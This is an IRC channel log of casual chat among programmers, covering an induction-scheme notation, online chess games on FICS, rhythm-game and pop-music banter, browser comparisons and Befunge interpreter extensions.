00:06:25 <alise_> Yes, but I /really really/ have to go. Surely, there is no harm in telling me it?
00:06:35 <MissPiggy> well I don't know how to write it out either
00:06:47 <MissPiggy> we need to establish some new notation together first
00:07:05 <alise_> just use any existing language :P
00:07:09 <alise_> or are they not appropriate?
00:07:31 <MissPiggy> P(L') -> (forall n, forall f, (forall i, P(f i)) -> P(B' f)) -> forall t', P(t')
00:07:38 <MissPiggy> that's the scheme for T' I wish you had got it
00:08:03 <alise_> i probably would have if i tried
00:08:08 <alise_> but /i/ /have/ /to/ /go/
00:08:11 <alise_> please try and understand
00:08:13 <alise_> bye, anyway
00:08:17 <MissPiggy> so for T, P(L) -> (forall l, [] P l -> P(B l)) -> forall t, P(t)
00:08:28 <MissPiggy> [] is a new notation we have invented
00:08:43 <MissPiggy> [] P (a::b::c::d::nil) = P a /\ P b /\ P c /\ P d
00:09:09 <MissPiggy> [] is defined for any strictly positive functor
00:09:20 <MissPiggy> (proof of this is in some paper I can show you later)
00:09:27 <MissPiggy> this is enough to define induction on Mu
00:11:07 <Sgeo> It's the end of days for There.
00:12:17 <Sgeo> "DSL/Cable modem: 25 minutes"
00:12:23 <Sgeo> for a 47MB download
00:12:44 -!- alise_ has quit (Ping timeout: 252 seconds).
00:17:37 -!- FireFly has quit (Remote host closed the connection).
00:22:37 -!- coppro has joined.
00:32:03 -!- BeholdMyGlory has quit (Remote host closed the connection).
00:48:18 * Sgeo wants to play on FICS against someone he knows
01:01:47 * pikhq has been futzing a tiny bit with TinyGC...
01:01:59 <pikhq> ... It appears to work, and appears to be slow.
01:02:00 <pikhq> Yeah.
01:02:42 <coppro> Sgeo: what's your rating?
01:03:03 <Sgeo> coppro, um, it's been years since I was last on FICS
01:03:05 <Sgeo> How do I get that?
01:03:12 <coppro> Sgeo: oh, ok
01:03:15 <coppro> then I'll play you
01:03:17 <Sgeo> Found it
01:03:29 <coppro> I just didn't want to play against someone way better than me
01:03:31 <Sgeo> Um, rating for Blitz or Standard or Lightning?
01:03:40 <Sgeo> coppro, I'm probably not better than you
01:03:40 <coppro> don't really care
01:03:45 <Sgeo> It's been years since I played chess
01:06:23 <coppro> Sgeo: what time controls do you want?
01:06:32 <Sgeo> *shrug*
01:06:55 <Sgeo> Regular, I guess
01:07:37 <coppro> Sgeo: it says you're examining a game
01:07:42 <Sgeo> What?
01:07:56 <coppro> there we go
01:12:14 * Sgeo clearly has no clue what he's doing
01:12:56 <coppro> I only have a little more than you
01:13:15 <coppro> I can give you some pointers afterward, if you'd like
01:15:29 <Sgeo> Sure
01:17:06 -!- MissPiggy has quit (Quit: Lost terminal).
01:17:18 * Sgeo isn't really thinking anything through that much
01:20:21 <coppro> You went downhill around move 16
01:30:26 <Sgeo> I've lost, haven't I?
01:31:33 <Sgeo> :(:(:(
01:32:33 <coppro> mostly
01:34:21 <Sgeo> [In case anyone cares, I just lost]
01:34:26 <Sgeo> coppro, what client do you use?
01:34:34 <coppro> eboard
01:34:45 <coppro> it's not great, but it's not terrible
01:34:46 * Sgeo is using BabasChess
01:34:54 <Sgeo> Used to use Chess Machine and love it
01:37:22 -!- lament has quit (*.net *.split).
01:37:22 -!- HackEgo has quit (*.net *.split).
01:38:45 -!- lament has joined.
01:39:59 -!- HackEgo has joined.
01:42:24 <bsmntbombdood> http://i.imgur.com/qlrHy.jpg
01:44:13 <Gregor> bsmntbombdood: OK, I'm putting that on sibeli.us for the moment.
01:46:00 <bsmntbombdood> i don't get it
01:47:34 <Gregor> http://sibeli.us/
01:48:17 <bsmntbombdood> who the hell is Jean Sibelius
01:48:31 <Gregor> X_X
01:48:34 <Gregor> God I hate people.
02:08:55 <Sgeo> Anyone want to see the game between coppro and I?
02:10:25 <Gregor> ???
02:10:32 <Gregor> Oh, chess game.
02:10:35 <Gregor> I am so suck at chess.
02:17:45 <Sgeo> Gregor, bet you're better than me
02:17:54 <Sgeo> I haven't played in YEARS
02:18:00 <Sgeo> And when I had, I barely paid attention
02:18:36 <Sgeo> I know the mechanics, just no strategy
02:18:52 <coppro> Sgoe: you were pretty good for the first half
02:18:57 <coppro> but then your moves just became random
02:19:15 <coppro> although you missed some opportunities to develop; getting pieces out and involved is key
02:20:34 -!- oerjan has joined.
02:22:46 <oerjan> <AnMaster> hm... FAUST "Functional AUdio STream"... What are the chances of that name NOT being designed to fit the acronym?
02:23:12 <oerjan> exceedingly tiny i'd say, since if they didn't know about faust, FAST would have been closer
02:23:42 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
02:24:10 -!- coppro has joined.
02:26:54 -!- gm|lap has joined.
03:02:04 <Gregor> oerjan: Awesome catch :P
03:02:53 <Gregor> So, what person who's totally not me wants to get out the sheet music for Finlandia and record the event sequence for my Generic Music Idol Band Star Game.
03:02:58 <Gregor> With a "?" there
03:07:13 <Sgeo> http://ficsgames.com/cgi-bin/show.cgi?ID=243952855;action=show
03:09:39 -!- adu has joined.
03:10:22 -!- Asztal has quit (Ping timeout: 264 seconds).
03:36:18 -!- oerjan has quit (Quit: leaving).
03:38:57 -!- gm|lap has quit (Quit: HydraIRC is a child molester -> http://silverex.net/news <- i couldn't change my quit message).
03:39:09 -!- GreaseMonkey has joined.
03:43:57 <pikhq> GreaseMonkey: Generic Music Idol Band Star Game?
03:43:58 <pikhq> Erm.
03:44:02 <pikhq> Gregor: Generic Music Idol Band Star Game?
03:44:17 <pikhq> Clearly, something *that* generic should have the sequence generated from the sheet music!
03:44:36 <Gregor> Impossible, the recording, being of non-shitty music, doesn't have a constant tempo.
03:44:40 <pikhq> ... And by sheet music, I mean a convenient, easy-to-parse subset!
03:45:25 * pikhq tries to think of non-shitty music with a constant tempo...
03:45:30 * pikhq is having severe difficulty.
03:46:13 <pikhq> Okay, I'm having trouble thinking of *shitty* music with a constant tempo now. :P
03:47:43 <pikhq> 4'33".
03:47:46 * pikhq vejnas!
03:50:13 * Gregor plays zee5.ogg
03:50:16 <Gregor> ;P
04:00:51 <Gregor> Oh, I never really answered your question.
04:01:20 <Gregor> Generic Music Idol Band Star Game is a generalization of DDR, Guitar Hero, Rock Band, and all the other identically dull games out there.
04:01:58 <Gregor> Currently it's roughly equivalent to DDR, for the others I would need non-instant events, but that's a trivial addition really.
04:02:19 <Gregor> And of course the horrendous karaoke part that should earn the death sentence to all who play it is excluded.
04:05:21 <pikhq> Hey, DDR started it and was unique...
04:05:31 <pikhq> ... And then came more bemani from Konami...
04:05:31 <Gregor> DDR did not start it.
04:05:34 <Gregor> And it was not unique.
04:05:39 <Gregor> Parappa the Rapper started it.
04:05:54 <Gregor> DDR merely introduced a non-gamepad controller to the equation.
04:05:59 <pikhq> ... And then they started releasing games with just the music changed...
04:06:24 <pikhq> And then Guitar Hero and Rock Band came around.
04:06:43 <pikhq> Well after the genre had been beaten into a bloody, homogenous pulp.
04:07:28 <Gregor> Regardless, DDR didn't start it, they were just the first ones clever enough to get people to pay for an alternate controller that is only useful for one game.
04:07:53 <Gregor> Rock Band did the best in that regards of course, getting people to pay for FOUR alternate controllers that are only useful for one game, and are in fact interchangeable except for layout.
04:07:54 <pikhq> DDR's the home version of an arcade game.
04:08:32 <Gregor> Well fine, they were the first ones clever enough to devise an alternate control mechanism, which they used initially in arcade :P
04:09:06 <Gregor> Anyway, the whole genre is stupid rubbish that has the unfortunate tendency of making people think they have a viable skill when they have none.
04:09:40 <Gregor> But it's also an amusing thing to parody with Finlandia :P
04:09:44 <pikhq> DDR is quite enjoyable. But... Yeah, the whole genre is ridiculously repetitive.
04:09:57 <pikhq> "Oooh, let's make a new game, but with *different songs*!"
04:10:01 <Gregor> Also, http://upload.wikimedia.org/wikipedia/en/4/4f/Inch_converter.jpg is the most horrifying thing I've ever seen.
04:10:16 <pikhq> "Hey, I got something better! Let's change the brand name and *have a different controller*!"
04:11:08 <pikhq> And of course, no useful skill involved. Just a useless one.
04:13:18 <Gregor> I suppose the basic agility encouraged by DDR is arguably a more viable skill than the ability to thumb something that's such a poor approximation of a guitar that it literally has no relevance were you to actually want to learn the guitar.
04:13:32 <Gregor> Actually, hahahah, y'know what really started the genre?
04:13:36 <Gregor> Miracle Piano Teaching System
04:13:51 <pikhq> Also of note: DDR functions as a form of exercise. Everything else... Is about as useful as playing air guitar.
04:14:45 <Gregor> But Miracle Piano Teaching System is, of course, far too difficult for the average GMIBSGer, and besides it actually teaches a skill that borders on useful.
04:15:14 <pikhq> Indeed.
04:15:50 <pikhq> At the least, you're more likely to impress a female with being able to play piano than being able to do Paranoia Survivor Max on challenge.
04:16:04 <pikhq> And that is why all males do anything, right? :P
04:17:05 <Gregor> It's worked out well for me! >_>
04:17:16 <pikhq> Hahah.
04:18:08 <pikhq> The karaoke-thing on Rock Band, tangentially, is damn near impossible if you can sing.
04:18:31 <Gregor> You're not allowed to use vibrato, yes?
04:18:39 <pikhq> Yes.
04:18:41 <Gregor> Or rather, you'll be penalized for it.
04:18:44 <pikhq> Or... Anything else.
04:18:59 <pikhq> And God help you if you're not used to singing the melody. :P
04:19:06 <Gregor> Heh
04:19:20 <Gregor> This is Rock BAND, not Rock CHOIR
04:19:51 <Gregor> Although a choral GMIBSG would be ... impossible for the neanderthals that play that kind of game to figure out *shrugs*
04:19:56 <Gregor> Feh, that was offensive.
04:20:03 <Gregor> Neanderthals aren't so bad, really.
04:20:11 <Gregor> They're our cousins.
04:20:31 <Gregor> Let's say ... australopithecus.
04:20:38 <pikhq> Eh, most people play it as an excuse to be with friends.
04:20:46 <pikhq> Kinda silly to need an excuse, but hey.
04:21:07 <Gregor> I MIGHT have negative opinions about this genre of game :P
04:21:45 <pikhq> I have negative opinions about most of the genre simply because it's been beaten in the ground more than even freaking sports games.
04:22:44 <pikhq> Oh, and the choice of music for them usually *sucks*.
04:23:06 <Gregor> Of course, they need the most constant and dull music possible to make the game possible.
04:23:16 <Gregor> Aside from the fact that if it was good, royalties would be too expensive.
04:23:38 <pikhq> DDR tends to commission music.
04:23:51 <pikhq> And Guitar Hero commissions... Covers.
04:23:59 <Gregor> lol
04:24:02 <pikhq> Very annoyingly poor covers, too.
04:24:14 <Gregor> The whole concept of covers amuses me a lot, btw.
04:24:34 <pikhq> It is kind of amusing, yes.
04:24:36 <Gregor> I want to convince my cellist friend to say he's doing a cover of Shostakovich some time :P
04:25:16 <pikhq> All because of the singer-songwriter thing that started getting common in the 50s...
04:26:12 * pikhq got reminded of that terrible Kansas cover again.
04:26:17 <Gregor> But what's really hilarious is that I'm sure that the majority of singer-songwriters nowadays are not, in fact songwriters, but the actual songwriters are grunts who get no recognition.
04:26:39 <pikhq> Gregor: The majority of *popular* ones, perhaps.
04:26:48 <Gregor> Naturally that's what I'm referring to, yes.
04:26:58 <Gregor> The popular singer-songwriters today aren't even singers. They're boobs with autotuners.
04:26:59 <pikhq> When you get outside the realm of popular musical shovelware, then you start seeing talent.
04:27:25 <pikhq> Heck, just get outside the past couple decades or so and you start seeing talented people that are popular.
04:27:50 <Gregor> So, you're saying that music continues its steady slide into the abyss :P
04:27:51 <pikhq> Freaking autotune.
04:28:11 -!- Oranjer has joined.
04:28:20 <pikhq> Nah, just the stuff that gets shoved down people's throats that I'm not sure how anybody can like.
04:28:30 <Oranjer> what what
04:28:39 <Gregor> Awesome timing for Oranjer to waltz in :P
04:29:09 <Oranjer> I'm guessing it's...religion?
04:29:26 <pikhq> No.
04:29:32 <Gregor> Not particularly close.
04:29:32 <Oranjer> darn
04:29:35 <Gregor> Could be farther though.
04:29:36 <Oranjer> I give up
04:29:48 <Gregor> There are logs, y'know :P
04:29:53 <Oranjer> hmph
04:29:53 <pikhq> Music. Specifically, manufactured music produced by the RIAA.
04:30:02 <Oranjer> oh
04:30:23 <pikhq> Examples include Celine Dion and Nickleback.
04:30:25 <pikhq> (effin' Canada!)
04:30:35 <Oranjer> Celine Dion is a national treasure
04:30:50 <Gregor> Boobs with an autotuner.
04:31:04 <Oranjer> boobs with an autotuner is a national treasure
04:31:12 <pikhq> I beg to differ.
04:31:13 <Gregor> Y'know, if they built the autotuner right into the breast implants, they could save a lot of trouble.
04:31:22 <GreaseMonkey> boobs with an autotuner is national treasure
04:31:32 <GreaseMonkey> (alt title)
04:32:10 <Oranjer> in soviet russia, blah blah...
04:32:57 <GreaseMonkey> http://pubacc.wilcox-tech.com/~greaser/mods/dootman.it if you're lacking somewhat interesting music
04:33:04 <pikhq> You want a national treasure? *Jimi Hendrix* is a national treasure.
04:33:39 <Oranjer> I agree
04:42:07 <augur> jimi hendrix is dead.
04:42:14 <augur> he can't be a national treasure.
04:42:25 <pikhq> augur: WE WORSHIP HIS BONES.
04:42:28 <Oranjer> don't you get it, augur?
04:42:34 <Oranjer> his bones have gone missing
04:42:36 <augur> oic
04:42:43 <Oranjer> we have to go on a quest to find them
04:42:46 <augur> well, ofcourse his bones have gone missing
04:42:54 <augur> he's been resurrected
04:43:45 <Gregor> As a ZOMBIE
04:44:21 <Oranjer> National Treasure 3: Zombie Hendrix would be, literally, the best movie conceivable
04:45:08 <Gregor> Why 3?
04:45:11 <Gregor> Ohwait
04:45:19 <Oranjer> hahahaha
04:45:21 <Gregor> There were some movies called "National Treasure", weren't there?
04:45:27 <Oranjer> yep
04:45:29 <pikhq> Yeah.
04:45:38 <Gregor> Clearly not movies I ever saw :P
04:49:47 <pikhq> They weren't... Notable.
04:52:37 <Sgeo> o.O at coppro's record on ficsgames.com
04:52:42 <Sgeo> Although it's better than mine
04:53:41 <Oranjer> the first info I see on that site is entirely opaque
04:53:47 <Oranjer> what is FICS?
04:54:24 <Oranjer> hey! alright!
04:54:30 <Sgeo> Free Internet Chess Server [ freechess.org ]
04:54:30 <Oranjer> does this handle variants?
04:54:51 <Sgeo> Some
04:54:53 <pikhq> Yes.
04:54:56 <Oranjer> >:(
04:55:01 <Oranjer> some does not mean any
04:55:05 <Gregor> Oranjer finds a Chess server, and his first thought is "let's NOT play the game that we've been playing for thousands of years"
04:55:08 <Oranjer> which means you can't define your own
04:55:22 <Oranjer> well, that's my first thought with anything ever, so yay!
04:55:26 <Gregor> (OK, not thousands ;) )
04:56:06 <Sgeo> Well, there's some ability to define your own starting positions I think
04:56:25 <coppro> Sgeo: don't look there :P
04:56:28 <Oranjer> hmph
04:58:33 <pikhq> It'd be nice if it did shogi...
04:58:55 <Gregor> AND GO
04:58:59 <Gregor> And Poker
04:59:04 <Gregor> And Checkers
04:59:04 <Oranjer> isn't there a program out there that lets you play any chess variant?
04:59:11 <Oranjer> including chess and go, I think
04:59:15 <Oranjer> 1,000...something, I think
04:59:57 <pikhq> Gregor: Shogi is a chess-family game.
05:00:29 <Oranjer> damn, I finally found the program
05:00:37 <Oranjer> but it costs money
05:00:47 <Oranjer> http://www.zillions-of-games.com/
05:00:59 <Gregor> pikhq: I was being intentionally stupid :P
05:01:22 <Oranjer> http://www.chessvariants.org/programs.dir/zillions/
05:01:26 -!- Gracenotes has joined.
05:01:38 <pikhq> Gregor: Mmkay.
05:09:22 * Sgeo should probably do something that will give him nutrition
05:24:03 <coppro> FICS has a number of popular variants, but nothing like new pieces
05:24:43 <Gregor> I reluctantly admit, after much time using Firefox, that Chrome is a far more reliable browser >_>
05:24:52 <coppro> The client-server model makes that difficult
05:25:03 <coppro> yeah, Firefox gets major slops for reliability
05:25:12 <Gregor> Why is it that flash stalls out and shits out Firefox, but in Chrome it doesn't? How does the process separation stop Flash from stalling?
05:26:13 <Oranjer> that question seems obvious to me--but I fear that in asking it, you suggest a deeper answer?
05:26:50 <Gregor> Yes, I do :P
05:27:04 <Oranjer> oh
05:27:16 <pikhq> Gregor: When Flash stalls in Firefox, Firefox shits itself.
05:27:26 <pikhq> When Flash stalls in Chrome, Chrome kills the process.
05:27:49 <Gregor> I'm not referring to halting or crashing, just momentary stalls.
05:27:56 <pikhq> Ah.
05:28:16 <pikhq> That's just because Firefox's implementation of the NSAPI sucks.
05:28:18 <Gregor> e.g. Hulu plays seamlessly in Chrome, but is gappy and shitty in Firefox.
05:29:32 * pikhq tries installing Chromiumn
05:32:09 <Oranjer> Chromeyfox
05:34:11 <Sgeo> I love Chrome
05:34:40 <Gregor> I just trust Google's intentions less and less recently ...
05:34:59 <Oranjer> shh! don't let them hear you!
05:35:11 <Oranjer> Google IRC? well then
05:35:32 <Sgeo> You can always download SRWare Iron
05:35:42 <Sgeo> >.>
05:35:54 -!- oklokok has quit (Ping timeout: 248 seconds).
05:36:24 <Oranjer> there is a popup
05:36:27 <Oranjer> I can't trust it boo
05:42:36 <pikhq> Gregor: Chromium is probably in your package manager.
05:42:50 <Gregor> Yes, yes it is.
05:42:56 <pikhq> There.
05:43:04 <Gregor> That would be how I installed it.
05:43:15 <pikhq> Why that's not Chrome.
05:43:19 <pikhq> Has none of the nasty bits.
05:43:26 <Gregor> ???
05:43:45 <Gregor> I thought Chromium was the devel name
05:44:33 -!- oklokok has joined.
05:44:41 <Gregor> OKLOCOCK
05:48:45 * Sgeo has a chair!
05:54:26 -!- oklokok has quit (Ping timeout: 265 seconds).
06:05:52 -!- oklokok has joined.
06:14:49 <pikhq> Chrome takes ages to compile.
06:20:20 <Gregor> g++ chrome.cc -lages -o chrome
06:25:30 * Gregor looks for a theme for Chrome called something along the lines of "Not being wildly different from the OS for the sole purpose of being wildly different from the OS, with no UI benefit"
06:29:04 <pikhq> Now I'm waiting on the code going into /usr/src/debug. Hooray.
06:29:25 <pikhq> (... So I like the ability to use gdb when something segfaults...)
06:34:53 -!- sebbu2 has quit (Ping timeout: 260 seconds).
06:34:54 -!- sebbu has joined.
06:34:55 <adu> hi all
06:35:16 <Oranjer> hello
06:40:37 -!- MizardX has quit (Read error: Connection reset by peer).
06:46:32 <Sgeo> How does http://www.geocities.com/lifemasteraj/beginner1.html still exist?
06:47:50 <Sgeo> What universe do these people come from? http://www.mywot.com/en/scorecard/geocities.com
06:48:04 <Oranjer> Sgeo, this is mind boggling
06:48:23 <Sgeo> The WOT stuff, or the continued presense of the geocities site>
06:48:24 <Sgeo> ?
06:48:37 <Oranjer> latter
06:52:17 <Gregor> Good lord, it's so Geocities too X-D
06:53:32 <Sgeo> Maybe e's paying for hosting?
07:04:29 -!- tombom has joined.
07:10:14 -!- Oranjer has left (?).
07:48:44 -!- tombom has quit (Quit: Leaving).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:16:24 -!- GreaseMonkey has quit (Quit: HydraIRC -> http://www.hydrairc.org <- Nobody cares enough to cybersquat it).
08:38:17 -!- cmeme has quit (Ping timeout: 265 seconds).
08:46:13 -!- sebbu has quit (Ping timeout: 258 seconds).
08:47:21 -!- cheater2 has quit (Ping timeout: 248 seconds).
08:48:33 -!- cheater2 has joined.
08:50:28 -!- sebbu has joined.
08:57:50 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
09:11:25 -!- adu has quit (Quit: adu).
09:50:53 -!- FireFly has joined.
09:52:09 -!- ais523 has joined.
10:17:15 -!- MizardX has joined.
10:41:01 -!- ais523 has quit (Remote host closed the connection).
10:50:25 -!- ais523 has joined.
12:26:30 -!- BeholdMyGlory has joined.
12:30:07 -!- alise has joined.
12:30:10 <alise> 16:08:17 <MissPiggy> so for T, P(L) -> (forall l, [] P l -> P(B l)) -> forall t, P(t)
12:30:16 <alise> sorry, had already left at that point
12:32:28 <alise> I'll play anyone at chess! Extremely badly!
12:35:06 <ais523> alise: hmm, I used to be OK at chess, but haven't practiced in years
12:35:22 <ais523> major issue for me would be finding a chessboard that doesn't automatically suggest moves for me
12:35:33 <alise> I've been beaten by a non-prodigy twelve year old.
12:35:35 <alise> So... yeah.
12:35:54 <ais523> tell you what, I think my really awful chess AI still runs in DOSBox
12:36:06 <alise> ais523: there are billions of clients for FICS
12:36:13 <ais523> I know
12:36:14 <alise> Sgeo and coppro played yesterday, see logs for what clients they used
12:36:37 <ais523> oh, I just assumed each player would use their own board and you'd send moves over IRC
12:38:10 -!- MigoMipo has joined.
12:38:17 <alise> ah; i have no chessboard at all here
12:38:29 <Quadrescence> chess sux
12:38:30 <ais523> ugh, it seems that although it runs in DOSbox, it captures both the keyboard and mouse
12:38:42 <alise> and, also, I'm so bad it'd take me ages to figure out how to express the moves I make :-)
12:38:44 <ais523> thus making it impossible to switch windows, or otherwise communicate with people
12:38:45 <alise> maybe I could use a program and you could use a real board
12:38:59 <ais523> alise: I meant, setting something like GNU chess to 2-player mode to use it as a board
12:39:07 <alise> heh
12:39:17 <alise> or we could just sign up for fics :P
12:39:34 <alise> and have my horrible failure recorded for all eternity
12:39:46 <ais523> hmm, almost works in wineconsole
12:39:54 <ais523> only issue is that it sizes the screen incorrectly
12:40:10 <ais523> <wineconsole> fixme:int:DOSVM_Int10Handler Load ROM 8x8 Double Dot Patterns - Not Supported
12:40:35 <ais523> hmm, and that one shouldn't even be hard, you can simply implement it by doubling the vertical height of the screen
12:40:44 <ais523> (virtual screen, that is)
12:40:46 <alise> in fact, i'm sure someone must have made a java applet client for fics
12:40:57 <alise> yeah but wine is shit :P
12:41:14 <alise> let's get crysis 5 working! who cares about the rest of the api
12:41:29 <alise> we want to support the gaymen community :|
12:41:38 <ais523> meh, running a program and only 2 fixmes, that's not bad
12:41:51 <ais523> besides, I've run stuff in WINE that I really needed to be able to run in order to get projects done
12:42:13 <ais523> it works just fine on MPLAB C30, except that it makes MPLAB spout a few warnings when it loads
12:42:17 <Quadrescence> alise: http://i.imgur.com/pDiHb.jpg
12:45:32 <alise> A-anyway.
12:48:47 <alise> ais523: fics or manual? I have the fics regpage up here
12:49:05 <ais523> manual, because playing games over a work connection is hard to explain
12:49:33 <ais523> but I'm assuming attempting to keep track of everything said on IRC would be a fool's errand
12:50:15 <Deewiant> Just make a +m channel for it
12:50:26 <alise> you're disrupting one of my essential tactics! (decide what to do instinctively so that every move takes about a second) :-P
12:50:29 <Deewiant> Or did you mean the lack of even a local chessboard
12:50:52 <alise> ais523: also, the irc bytes sent and the chess bytes sent will be pretty much identical, you know
12:50:59 <alise> in fact, the chess bytes may be binary and thus more obscure
12:51:15 <ais523> alise: the chess bytes will have headers
12:51:28 <ais523> and won't go through at all if they're on a nonstandard port
12:51:34 <ais523> you can automatically see where the bytes are sent
12:52:15 * alise googles for chess over irc out of curiosity; maybe there's something that'll automate it for me
12:52:35 <Deewiant> If you have irssi there is
12:52:42 <Deewiant> Don't know about other clients
12:52:57 <Deewiant> (And I haven't tried the irssi one either, I just know about it)
12:53:56 <alise> yeah i saw that but i meant a chessboard program that actually sends and recvs the moves itself
12:53:57 <alise> ah well
13:00:10 <Deewiant> I can play if you want
13:02:27 -!- oerjan has joined.
13:03:20 <alise> Deewiant: I can't decide whether you'd be better or worse than ais523
13:03:52 <ais523> well, I have no idea how good Deewiant is at chess; I'm formerly-decent-but-out-of-practice
13:04:03 <ais523> maybe in the top 2 or 3 in the school while I was at secondary school
13:04:08 <alise> I'm rather surprised how little this stock Windows 7 is annoying me
13:04:11 <alise> even IE8
13:04:24 <Deewiant> I'm formerly-not-entirely-shit-but-out-of-practice
13:04:28 <alise> I mean, sure, it sucks, but..
13:04:38 <alise> Load, you fucking downloa page!
13:04:38 <ais523> IE8 is so much better than IE6, that's why it feels so good
13:04:39 <alise> *download
13:04:42 <alise> I want my chess client.
13:04:52 <alise> ais523: I know, but I keep forgetting I'm actually using IE as opposed to, say, Firefox
13:05:26 <alise> and I actually really like using the taskbar to switch tab
13:05:27 <alise> s
13:05:27 <ais523> without extensions, there aren't many user-visible differences between even IE7 and Firefox
13:05:37 <alise> *tabs
13:05:39 <ais523> also, taskbar to switch tabs would be a nightmare the way I use tabs
13:06:18 <alise> but the thing is, I use alt-tab to switch windows mostly
13:06:22 <alise> so it's actually quite nice
13:07:10 * alise tries to figure out how to get winboard to do two-player
13:07:34 <Deewiant> Our secondary school -equivalent had folks who got silver in some Scandinavian chess championship; at least one of the guys had an ELO near 2000
13:08:21 <Deewiant> Probably all the active chess club people there (maybe 10-20 of them?) could beat me without too much trouble
13:08:37 <alise> This seems to not do two-player offline. Sigh.
13:08:50 <Deewiant> Just use FICS :-P
13:08:57 <Deewiant> Winboard works offline
13:08:57 <ais523> you could probably have written a chess client yourself by now
13:09:11 <alise> Deewiant: ais523 refuses to because of work connection
13:09:15 <ais523> I used to write them for practice when I was younger; I think I wrote one in Excel
13:09:19 <alise> also it does, but only one-player-against-engine
13:09:20 -!- Asztal has joined.
13:09:27 <Deewiant> alise: Yes, but if you want to play me instead ;-)
13:09:36 <Deewiant> alise: And no, there's mode -> edit game
13:09:43 <alise> ais523: Last chance before I cruelly cast you aside in favour of a real man
13:09:48 <Deewiant> Which is basically equivalent to two-player one-machine
13:09:56 <ais523> alise: last chance to what?
13:10:01 <Deewiant> Except that it doesn't have timing
13:10:02 <ais523> I don't mind not playing if it's too hard to set up
13:10:16 <ais523> Deewiant: "edit game", what a ridiculous name for it!
13:10:20 <alise> Well, use FICS or I cast you aside for now :P
13:10:30 <Deewiant> ais523: Well, it's not really a two-player mode.
13:10:54 <alise> Deewiant: do I need to register for fickz?
13:10:55 <Deewiant> It's just that: allowing you to edit what move is taken at a given point. Something you'd typically do when viewing an already played game.
13:11:05 <Deewiant> alise: I don't know how it works. :-P
13:11:11 <alise> That could make future moves impossible, surely?
13:11:14 <alise> Deewiant: >_<
13:11:28 <Deewiant> Well, surely it deletes the history from that point forward.
13:11:32 <alise> If you are not a registered player, enter guest or a unique ID.
13:11:55 <alise> "alise" is not a registered name. You may use this name to play unrated games.
13:11:57 <alise> Right.
13:11:59 <alise> Deewiant: Well, connect.
13:12:08 <Deewiant> I am connected, I even registered.
13:12:19 <ais523> could we have the moves posted in-channel somewhere so I can watch?
13:12:27 <ais523> maybe not this channel, though
13:12:35 <Deewiant> Easy enough
13:12:36 <alise> Okay.
13:12:44 <alise> #deewiant-alise-champ-2010
13:12:48 <Deewiant> heh
13:18:41 -!- alise_ has joined.
13:20:42 -!- alise has quit (Ping timeout: 252 seconds).
13:28:33 -!- oerjan has quit (Quit: leaving).
13:50:02 -!- alise_ has quit (Ping timeout: 252 seconds).
15:01:58 -!- cpressey has joined.
15:41:33 -!- alise has joined.
15:41:55 <alise> Name for a Reversi-playing program: Infersi
15:43:52 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
15:44:25 <ais523> coppro's quit message has been false every time so far
15:44:32 <ais523> I'm starting to suspect he doesn't actually mean it
15:44:44 <ais523> either that, or it isn't targeted at me, in which case some context would be helpful
15:45:17 <alise> I've exploded several times when he's left
15:45:31 <alise> Quite painful
15:47:37 <alise> I wonder what the most practical Haskelly thing is for making a GUI
15:47:57 <ais523> I have no idea, but deep-down I hope it indirectly involves Befunge
15:49:01 <Deewiant> Write Befunge code that uses WIND and then system "rcfunge tmp.b98" ?
15:49:43 <alise> No
15:49:44 <ais523> something like that, but with more tight binding on the Haskell
15:49:51 <ais523> maybe you could go via INTERCAL
15:49:51 <alise> Also, that's Windows-only
15:50:04 <ais523> if INTERCAL doesn't have Haskell bindings yet, it probably should do
15:50:21 <ais523> mostly to annoy Haskell advocates
15:50:32 <Deewiant> alise: What's Windows-only? WIND is only implemented using X
15:50:55 <cpressey> I would prefer something written in pure Befunge that uses ANSI control codes to make a ncurses-y user interface
15:50:55 <Deewiant> Or at least, RC/Funge-98 only implements it with X, and I don't know of any other interpreter that implements it at all
15:50:57 <alise> Okay.
15:50:57 <alise> Oh, really?
15:51:28 <Deewiant> RC/Funge-98 is very non-Windows-only
15:51:34 <Deewiant> Quite the opposite
15:51:40 <ais523> it would be funnier if the software only worked using X on Windows
15:52:03 <AnMaster> hi
15:52:04 <ais523> cpressey: yep, and that sort of thing's entirely possible; I just don't think anyone's tried yet
15:52:21 <AnMaster> <cpressey> I would prefer something written in pure Befunge that uses ANSI control codes to make a ncurses-y user interface <-- anything wrong with NCRS?
15:52:33 <AnMaster> for a start "something written in befunge" tends to be very non-reusable
15:52:45 -!- alise_ has joined.
15:52:59 <AnMaster> due to the complete lack of something that works for emulating functions. And even with SUBR it is somewhat messy
15:54:29 <Deewiant> Don't forget MACR
15:55:26 -!- alise has quit (Ping timeout: 252 seconds).
15:56:34 <ais523> hmm, is there any Befunge extension that works Modular SNUSP-style?
15:57:09 <Deewiant> Depends on what that style is
15:58:11 <ais523> basically, it has commands for subroutine call and return
15:58:21 <ais523> that work like setjmp/longjmp on an explicit stack
15:59:50 <Deewiant> I don't think there's anything quite like that, no
16:00:46 <ais523> it makes subroutining very easy
16:00:53 <ais523> or ofc you could just use IFFI and do subroutines that way
16:01:57 -!- MissPiggy has joined.
16:02:07 <AnMaster> Deewiant, hm...
16:02:20 -!- MissPiggy has changed nick to fax.
16:02:36 <AnMaster> ais523, you need to port IFFI to work without depending on ick
16:02:48 <cpressey> At one point I wanted to have "pages" that the IP could travel between (kind of like 2.5 dimensions I guess), but there was a lot of resistance (too machine-y, I guess.)
16:02:49 <ais523> that would be "rewrite", not "port"
16:02:52 <AnMaster> of course, since you replace mainloop that would be painful
16:02:53 <ais523> but it's a useful project
16:03:06 <AnMaster> ais523, also, it must work with t
16:03:10 <AnMaster> unlike IFFI currently
16:03:10 <ais523> the replacing the mainloop is actually not an issue, it's a trivial wrapper
16:03:29 <ais523> the real issue is that it's tightly hooked to ick's control logic, on the basis that the entire purpose of CFFI is to do that
16:03:43 <AnMaster> cpressey, I think I joked about a two letter fingerprint NX. That works like the page permissions on hardware
16:03:52 -!- alise_ has quit (Ping timeout: 252 seconds).
16:03:53 <AnMaster> read, write, execute flags
16:04:03 <AnMaster> I'm not sure what a write only area would be useful for
16:04:15 <ais523> logging?
16:04:27 <AnMaster> ais523, would be easy to overwrite what you logged though
16:04:27 <ais523> you could read it in a debugger, but not make a security leak
16:04:39 <AnMaster> ais523, I'm not sure that makes sense
16:04:45 <AnMaster> since other threads could still read the data
